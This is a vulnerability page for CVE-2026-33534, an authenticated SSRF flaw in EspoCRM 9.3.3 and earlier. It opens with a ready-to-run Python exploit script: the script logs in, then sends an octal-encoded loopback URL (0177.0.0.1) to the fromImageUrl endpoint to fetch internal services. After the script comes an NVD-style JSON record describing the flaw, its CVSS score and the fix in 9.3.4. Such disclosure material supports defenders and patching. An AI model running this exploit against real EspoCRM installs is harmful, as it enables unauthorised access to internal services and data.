CVE-2026-33534

import requests # Exploit: CVE-2026-33534 (EspoCRM SSRF via Octal IP) # Description: Bypass internal host check using octal notation (0177.0.0.1 -> 127.0.0.1) # Endpoint: /api/v1/Attachment/fromImageUrl # Note: Requires authentication. target_url = "http://target-espocrm-url/api/v1/Attachment/fromImageUrl" username = "[email protected]" password = "password" # Internal service to scan (e.g., local metadata or admin panel) # 127.0.0.1 in octal is 0177.0.0.1 payload_url = "http://0177.0.0.1:8080/internal-config" session = requests.Session() login_data = { "username": username, "password": password, "authenticationMethod": "Password" } # Step 1: Login print("[*] Logging in...") login_resp = session.post("http://target-espocrm-url/api/v1/App/user", json=login_data) if login_resp.status_code != 200: print("[-] Login failed") exit() # Step 2: Send SSRF payload print("[*] Sending SSRF payload...") data = { "url": payload_url } exploit_resp = session.post(target_url, json=data) print(f"[*] Response Status: {exploit_resp.status_code}") print(f"[*] Response Body: {exploit_resp.text}")

{"cve": {"id": "CVE-2026-33534", "sourceIdentifier": "[email protected]", "published": "2026-04-13T20:16:33.970", "lastModified": "2026-04-22T00:12:27.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EspoCRM is an open source customer relationship management application. Versions 9.3.3 and below have an authenticated Server-Side Request Forgery (SSRF) vulnerability that allows bypassing the internal-host validation logic by using alternative IPv4 representations such as octal notation (e.g., 0177.0.0.1 instead of 127.0.0.1). This is caused by HostCheck::isNotInternalHost() function relying on PHP's filter_var(..., FILTER_VALIDATE_IP), which does not recognize alternative IP formats, causing the validation to fall through to a DNS lookup that returns no records and incorrectly treats the host as safe, however the cURL subsequently normalizes the address and connects to the loopback destination. Through the confirmed /api/v1/Attachment/fromImageUrl endpoint, an authenticated user can force the server to make requests to loopback-only services and store the fetched response as an attachment. This vulnerability is distinct from CVE-2023-46736 (which involved redirect-based SSRF) and may allow access to internal resources reachable from the application runtime. This issue has been fixed in version 9.3.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.4", "matchCriteriaId": "C81517CA-6567-41DC-A0A9-309FFD7B48E8"}]}]}], "references": [{"url": "https://github.com/espocrm/espocrm/releases/tag/9.3.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-h7gx-8gwv-7g73", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}